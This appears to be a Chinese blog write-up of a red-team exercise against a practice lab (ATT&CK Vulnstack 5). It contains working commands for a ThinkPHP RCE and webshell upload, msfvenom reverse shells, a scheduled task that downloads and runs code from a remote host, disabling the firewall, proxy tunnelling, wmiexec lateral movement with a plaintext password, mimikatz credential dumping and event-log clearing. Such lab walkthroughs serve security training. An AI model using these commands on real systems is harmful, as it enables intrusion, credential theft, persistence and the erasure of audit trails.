ATT&CK实战系列—红队实战-5

本文介绍了红队在攻防靶场中的实战操作,包括信息收集、漏洞分析与利用、权限提升、权限维持、横向渗透和痕迹清理。详细展示了如何利用ThinkPHP漏洞getshell、通过msf提权、搭建socks代理进行内网信息收集,以及横向渗透到域控的过程,并提供了多种工具和命令示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0、靶场介绍

ATT&CK第五个攻防靶场已经出来了,此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习。

靶场详情:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

1、信息收集

在这里插入图片描述在这里插入图片描述

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 漏洞挖掘

在这里插入图片描述

2.2 漏洞验证

漏洞POC:
http://127.0.0.1/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述

http://127.0.0.1/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

3、漏洞利用

3.1 ThinkPHP 5.0.22 getshell

获取网站根目录,写入shell:
在这里插入图片描述

http://192.168.1.145//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo  "<?php @eval($_POST["pass"]);?>"  > C:\\phpStudy\\PHPTutorial\\WWW\\public\\shell.php

在这里插入图片描述在这里插入图片描述

3.2 主机信息收集

本机信息主要包括主机的系统、权限、内网分配 IP 地址段、端口、服务、共享、会话、网络连接信息、补丁更新频率、安装的软件杀毒等。如果是域内主机,系统、软件、补丁、服务、杀毒一般都是批量安装的。通过收集本机的相关信息,可以进一步了解整个域的操作系统版本、 软件、补丁、用户命名方式等。

0.查询当前权限、账号信息
whoami 
whoami /all 

1. 查询网络配置信息    
ipconfig /all 

2.查询操作系统及安装软件的版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

3.查询本机服务信息
wmic service list brief

4.查询进程列表
tasklist /v 
wmic process list brief

5.查看启动程序信息
wmic startup get command,caption

6.查看计划任务
schtasks /query /fo LIST /v

7.查看主机开机时间
net statistics workstation

8.查询用户列表、获取本地管理员信息、查看当前在线用户
net user 
net localgroup administrators
query user || qwinsta 

9.列出或断开本地计算机和连接的客户端的会话
net session

10.查询端口列表
netstat -ano

11.查询补丁列表
Systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn 

12.查询本机共享
net share
wmic share get name,path,status 

13.查询路由表及所有可用接口的 ARP 缓存表
route print
Arp –A

14.查询防火墙相关配置
netsh firewall show config

15.查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"


16.查询远程连接服务 
在 cmd 下使用注册表查询语句,命令如下,得到连接端口为 0xd3d,转换后为 3389.
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

4、权限提升

4.1 ​ 使用 msf 提权

使用 MSF 进行提权并且抓取散列值和明文密码:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -f exe -o payload.exe

在这里插入图片描述在这里插入图片描述在这里插入图片描述

4.2 dump Hash

在这里插入图片描述在这里插入图片描述

4.3 远程登录

开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查看防火墙配置
netsh firewall show config

关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off

在这里插入图片描述

5、权限维持

计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。

5.1 任务计划

1、利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

1. 首先在目标主机上传metasploit生成的后门程序:
meterpreter > upload /root/payload.exe C:\\Windows\\System32

2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
net time

3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

4. 计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

在这里插入图片描述
2、利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。所以攻击者开始使用schtasks命令来代替at命令。

在目标主机上创建一个名为test的计划任务,启动程序为C:\vps.exe,启动权限为system,启动时间为每隔一小时启动一次。当执行完该命令,该计划任务就已经启动了
schtasks /create /tn test /sc HOURLY /mo 1 /tr c:\vps.exe /ru system /f
 
其他启动时间参数:
/sc onlogon  用户登录时启动
/sc onstart  系统启动时启动
/sc onidle   系统空闲时启动
 
但是如果是powershell命令的话,执行完下面的命令,还需要执行启动该计划任务的命令
schtasks /create /tn test /sc HOURLY /mo 1 /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f
 
查询该test计划任务
schtasks /query | findstr test
 
启动该test计划任务
schtasks /run /i /tn "test"
 
删除该test计划任务
schtasks /delete /tn "test" /f
利用schtasks创建后门的大致流程如下:

1. 首先在目标主机上传metasploit生成的后门程序。

2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

3. 然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session

在这里插入图片描述

6、横向渗透

6.1 搭建 socks 代理

1、使用ew 开启一个正向代理

Linux系统
./ew_for_linux64 -s ssocksd -l 1080  #监听本地的1080端口
 
Windows系统
ew_for_Win.exe -s ssocksd -l 1080   #监听本地的1080端口

主机的设置

如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.121080端口:socks5 100.100.10.12 1080 
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
 
如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用  Proxifier 、sockscap64 设置全局代理

在这里插入图片描述
2、使用msf socks 搭建代理
在这里插入图片描述
3、使用 chisel 搭建一个代理

服务端:
chisel.exe server -p 3080 --socks5

攻击端:
./chisel_linux64 client 192.168.1.145:3080 socks

在这里插入图片描述

6.2 内网信息收集

1、域内信息收集

查看域名	
Net config workstation  
Ipconfig /all

查看几个域	
Net view /domain

查看是否是域名主机	
Net time /domain

查看域内主机	
Net user /domain

查看域控	
Net group “domain controllers“ /domain

查看域管理员	
Net group “domain admins” /domain

在这里插入图片描述
2、内网主机存活

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I | findstr "TTL="

在这里插入图片描述

auxiliary/scanner/smb/smb_version

在这里插入图片描述在这里插入图片描述
3、端口服务探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.138.138

在这里插入图片描述

6.3 横向渗透–域控

1、使用 ms17-010 拿下域控 – 利用失败
在这里插入图片描述在这里插入图片描述

2、wmi 进行横向 – 获取域控
在这里插入图片描述

proxychains4 wmiexec.py sun/administrator:dc1234.com@192.168.138.138  

在这里插入图片描述

开启3389,关闭防火墙:

#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#关闭远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#检查端口状态
netstat -an|find "3389"

关闭防火墙:
Windows Server 2003 系统及之前版本
netsh firewall set opmode disable
Windows Server 2003 之后系统版本
netsh advfirewall set allprofiles state off

在这里插入图片描述
使用域账号登录:
在这里插入图片描述
dump hash

proxychains4 smbclient //192.168.138.138/C$ -U administrator
put mimikatz.exe

在这里插入图片描述

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

在这里插入图片描述
在这里插入图片描述

7、痕迹清理

有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil:

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

meterperter自带清除日志功能:
clearev     清除windows中的应用程序日志、系统日志、安全日志

清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值